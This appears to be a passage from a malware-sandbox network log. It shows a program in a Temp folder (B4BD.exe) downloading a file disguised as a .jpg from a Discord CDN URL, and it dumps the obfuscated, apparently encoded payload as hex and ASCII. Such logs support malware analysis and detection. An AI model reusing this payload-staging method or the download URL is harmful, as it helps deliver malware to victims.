2021-10-29 18:29:04 UTC	991	IN	Data Raw: 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 45 20 4f 20 45 45 20 4f 20 71 4a 71 20 4f 20 71 71 44 20 4f 20 57 4a 20 4f 20 57 57 20 4f 20 71 4a 71 20 4f 20 71 4f 58 20 4f 20 57 4a 20 4f 20 57 57 20 4f 20 71 4a 71 20 4f 20 71 4f 58 20 4f 20 57 4a 20 4f 20 57 57 20 4f 20 71 4a 71 20 4f 20 71 4f 58 20 4f 20 57 4a 20 4f 20 57 57 20 4f 20 71 4a 71 20 4f 20 71 4f 58 Data Ascii: O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O WE O EE O qJq O qqD O WJ O WW O qJq O qOX O WJ O WW O qJq O qOX O WJ O WW O qJq O qOX O WJ O WW O qJq O qOX

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49793	162.159.135.233	443	C:\Users\user\AppData\Local\Temp\B4BD.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-29 18:29:05 UTC	1000	OUT	GET /attachments/893177342426509335/903575519373697084/F83CB811.jpg HTTP/1.1 Host: cdn.discordapp.com
2021-10-29 18:29:05 UTC	1001	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 18:29:05 GMT Content-Type: image/jpeg Content-Length: 257637 Connection: close CF-Ray: 6a5e77a2e81868ec-FRA Accept-Ranges: bytes Age: 32505 Cache-Control: public, max-age=31536000 ETag: "3943342e1b45e890a729310467090869" Expires: Sat, 29 Oct 2022 18:29:05 GMT Last-Modified: Fri, 29 Oct 2021 09:26:31 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635499591484284 x-goog-hash: crc32c=wAW+lg== x-goog-hash: md5=OUM0LhtF6JCnKTEEZwkIaQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 257637 X-GUploader-UploadID: ADPycdsh_0GH4h67GfM4DXv45AAKX5J9KadQOaoJgeenVA8XggFohgRrUig2qws-RHRUWddueA29G7svcIC2IfMWyq3dEjwegQ X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XYGEOw4NB%2BNGA8sjSbrZx5m8DkhJhS31I8MZzoSBlCEm6wEnc4s4Sk%2BHQ%2ByOvr%2BmzYAtBLX%2FPafsOhe0s0bKOP5RsrcJBAMCcQcOjHogBMxJlBHiMUHAobm8j9R6LcbIKPe%2Blw%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-10-29 18:29:05 UTC	1002	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-10-29 18:29:05 UTC	1002	IN	Data Raw: 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 Data Ascii: O qqM O mE O WE O XX O qOq O WD O XO O mE O XD O Wq O qqX O DX O mE O mM O qOO O WW O qqM O mE O WE O XX O qOq O WD O XO O mE O XD O Wq O qqX O DX O mE O mM O qOO O WW O qqM O mE O WE O XX O qOq O WD O XO O mE O XD O Wq O qqX O DX O mE O mM O qOO O WW O q
2021-10-29 18:29:05 UTC	1003	IN	Data Raw: 4d 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 4f 20 4f 20 58 45 20 4f 20 57 4f 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 4f 44 20 4f 20 71 4f 70 20 4f 20 71 71 4d 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 58 6d 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 4d 4d 20 4f 20 6d 45 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 71 71 4f 20 4f 20 45 58 20 4f 20 71 71 58 20 4f 20 71 4f 4f 20 4f 20 71 4f 57 20 4f 20 45 4a 20 4f 20 44 4d 20 4f 20 58 4f 20 4f 20 71 71 4a 20 4f 20 44 58 20 4f 20 58 71 20 4f 20 58 57 20 4f 20 45 4a 20 4f 20 71 71 4a 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 57 4f 20 4f 20 71 4f 6d 20 4f 20 45 4a 20 4f 20 58 58 20 4f 20 71 71 4f 20 4f 20 6d 45 20 4f 20 71 71 Data Ascii: M O qOO O WW O qqM O mE O WE O XO O XE O WO O mE O mp O qOD O qOp O qqM O DX O mE O Xm O DE O mX O MM O mE O Eq O XW O qqO O EX O qqX O qOO O qOW O EJ O DM O XO O qqJ O DX O Xq O XW O EJ O qqJ O qOp O DW O DW O DW O DE O WO O qOm O EJ O XX O qqO O mE O qq
2021-10-29 18:29:05 UTC	1005	IN	Data Raw: 20 4f 20 6d 45 20 4f 20 57 70 20 4f 20 57 6d 20 4f 20 71 71 4f 20 4f 20 71 71 57 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 71 4a 4f 20 4f 20 71 4f 4f 20 4f 20 45 4a 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 71 71 45 20 4f 20 71 71 6d 20 4f 20 71 71 70 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 71 20 4f 20 57 6d 20 4f 20 45 4d 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 Data Ascii: O mE O Wp O Wm O qqO O qqW O XO O WE O qJO O qOO O EJ O qOD O mE O mE O mE O mE O mE O mE O Wm O qqE O qqm O qqp O mE O mE O qqq O Wm O EM O qOD O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE
2021-10-29 18:29:05 UTC	1006	IN	Data Raw: 20 6d 4d 20 4f 20 71 71 44 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 71 71 71 20 4f 20 57 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 57 4f 20 4f 20 71 4f 58 20 4f 20 71 4f 57 20 4f 20 58 71 20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 45 44 20 4f 20 58 58 20 4f 20 71 4f 4d 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 45 6d 20 4f 20 58 71 20 4f 20 57 4a 20 4f 20 58 4a 20 4f 20 71 71 4d 20 4f 20 58 71 20 4f 20 71 71 4d 20 4f 20 45 44 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 45 57 20 4f 20 71 4a 71 20 4f 20 45 4d 20 4f 20 58 4d 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 6d 45 20 4f Data Ascii: mM O qqD O qqX O mE O qqq O WJ O EE O DW O mE O WO O qOX O qOW O Xq O XO O mp O ED O XX O qOM O EJ O mE O Em O Xq O WJ O XJ O qqM O Xq O qqM O ED O DW O DX O EW O qJq O EM O XM O qqm O mE O mE O mE O mE O mE O mE O mE O Wq O mE O mE O XO O mE O WE O mE O
2021-10-29 18:29:05 UTC	1007	IN	Data Raw: 4f 20 58 4a 20 4f 20 57 4a 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 45 57 20 4f 20 71 4f 57 20 4f 20 71 71 71 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 71 71 6d 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d Data Ascii: O XJ O WJ O mE O mE O mE O mE O mE O mE O mp O EW O qOW O qqq O qqm O mE O Wm O mp O qqX O qqm O mE O mp O qqX O qqm O Wm O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O m
2021-10-29 18:29:05 UTC	1009	IN	Data Raw: 4f 20 44 57 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 71 4f 57 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 45 45 20 4f 20 71 4f 57 20 4f 20 44 4d 20 4f 20 45 44 20 4f 20 6d 4d 20 4f 20 71 4f 57 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 6d 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 57 57 20 4f 20 71 4f 4f 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 71 4f 71 20 4f 20 71 4f 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 58 45 20 4f 20 71 4a 71 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 44 58 20 4f 20 71 4a 4f 20 4f 20 4d 4d 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 71 71 58 20 4f 20 4d 58 20 4f 20 6d 45 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 4f 20 4f 20 71 71 45 20 4f 20 Data Ascii: O DW O XO O WE O qOO O Xq O qOW O WW O mE O EE O qOW O DM O ED O mM O qOW O XW O qOp O DW O mX O mE O mM O WW O qOO O EJ O mE O Wm O qOq O qOD O XO O mE O WE O XX O XE O qJq O XO O mE O DX O qJO O MM O EJ O mE O qqX O MX O mE O DX O mE O mp O qqO O qqE O
2021-10-29 18:29:05 UTC	1010	IN	Data Raw: 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 Data Ascii: O mE O XD O Wq O qqX O DX O mE O mM O qOO O WW O qqM O mE O WE O XX O qOq O WD O XO O mE O XD O Wq O qqX O DX O mE O mM O qOO O WW O qqM O mE O WE O XX O qOq O WD O XO O mE O XD O Wq O qqX O DX O mE O mM O qOO O WW O qqM O mE O WE O XX O qOq O WD O XO O
2021-10-29 18:29:05 UTC	1011	IN	Data Raw: 58 20 4f 20 6d 45 20 4f 20 45 58 20 4f 20 71 4a 71 20 4f 20 71 71 57 20 4f 20 45 57 20 4f 20 57 57 20 4f 20 71 4f 44 20 4f 20 71 4f 45 20 4f 20 71 4a 4a 20 4f 20 44 44 20 4f 20 58 4d 20 4f 20 71 71 45 20 4f 20 71 4f 45 20 4f 20 71 71 4a 20 4f 20 71 71 70 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 71 4f 4a 20 4f 20 58 4d 20 4f 20 44 44 20 4f 20 57 45 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 71 71 4a 20 4f 20 57 45 20 4f 20 71 4f 4a 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 57 4a 20 4f 20 71 4f 71 20 4f 20 71 71 4f 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 57 71 20 4f 20 71 71 4a 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 45 58 20 4f 20 57 71 20 4f 20 71 4f 71 20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 57 4a 20 4f 20 71 71 45 20 4f 20 57 44 Data Ascii: X O mE O EX O qJq O qqW O EW O WW O qOD O qOE O qJJ O DD O XM O qqE O qOE O qqJ O qqp O EJ O mE O qOJ O XM O DD O WE O mE O Wq O qqJ O WE O qOJ O XO O WE O WJ O qOq O qqO O qqm O mE O qOO O Wq O qqJ O Wm O mE O Wq O EX O Wq O qOq O XO O mp O WJ O qqE O WD
2021-10-29 18:29:05 UTC	1013	IN	Data Raw: 4d 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 4d 58 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 71 4f 4d 20 4f 20 57 70 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 57 70 20 4f 20 71 71 45 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 4d 58 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 71 4f 4d 20 4f 20 57 70 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 57 70 20 4f 20 71 71 45 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 4d 58 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 71 4f 4d 20 4f 20 57 70 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 45 20 4f Data Ascii: M O DW O mE O mp O MX O qOM O DW O XO O mE O qOM O Wp O qOp O DX O mE O Wp O qqE O XM O DW O mE O mp O MX O qOM O DW O XO O mE O qOM O Wp O qOp O DX O mE O Wp O qqE O XM O DW O mE O mp O MX O qOM O DW O XO O mE O qOM O Wp O qOp O DX O mE O mE O mE O qqE O
2021-10-29 18:29:05 UTC	1014	IN	Data Raw: 71 4a 4f 20 4f 20 44 57 20 4f 20 57 4f 20 4f 20 4d 58 20 4f 20 45 6d 20 4f 20 45 44 20 4f 20 45 70 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d Data Ascii: qJO O DW O WO O MX O Em O ED O Ep O qOD O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O WE O mE O mE O qJJ O mE O mE O qOJ O mE O WD O mE O mE O qqm O mE O m
2021-10-29 18:29:05 UTC	1015	IN	Data Raw: 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 Data Ascii: mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE
2021-10-29 18:29:05 UTC	1017	IN	Data Raw: 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 Data Ascii: mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O
2021-10-29 18:29:05 UTC	1018	IN	Data Raw: 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 Data Ascii: mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE
2021-10-29 18:29:05 UTC	1019	IN	Data Raw: 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 Data Ascii: mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O
2021-10-29 18:29:05 UTC	1021	IN	Data Raw: 20 4f 20 57 4f 20 4f 20 71 71 4d 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 58 45 20 4f 20 71 71 44 20 4f 20 45 44 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 57 4f 20 4f 20 4d 58 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 71 4f 4d 20 4f 20 57 4f 20 4f 20 71 71 4d 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 4d 4f 20 4f 20 71 71 44 20 4f 20 45 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 71 71 6d 20 4f 20 58 6d 20 4f 20 44 45 Data Ascii: O WO O qqM O qOJ O mE O XE O qqD O ED O WW O mE O WO O MX O MX O DW O mE O WE O qOM O WO O qqM O XO O mE O MO O qqD O ED O mE O mE O Wq O qqm O Xm O DE
2021-10-29 18:29:05 UTC	1021	IN	Data Raw: 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 45 4d 20 4f 20 71 71 70 20 4f 20 71 71 58 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 71 4f 71 20 4f 20 71 71 4d 20 4f 20 57 44 20 4f 20 4d 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 44 58 20 4f 20 71 4f 71 20 4f 20 45 4f 20 4f 20 6d 45 20 4f 20 71 4a 4f 20 4f 20 4d 4d 20 4f 20 58 6d 20 4f 20 45 4f 20 4f 20 4d 45 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 57 20 4f 20 71 71 57 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 57 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 4f 4a 20 4f 20 6d 70 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 58 20 4f 20 6d 45 20 4f 20 71 71 4f 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 Data Ascii: O mE O mp O EM O qqp O qqX O qqX O mE O qOq O qqM O WD O MX O mE O mM O DX O qOq O EO O mE O qJO O MM O Xm O EO O ME O WJ O DW O DW O DW O DW O qOW O qqW O qOp O DD O qOW O mE O Wm O qOp O DW O MO O qOJ O mp O qOD O DW O Eq O XX O mE O qqO O qOp O DD O q
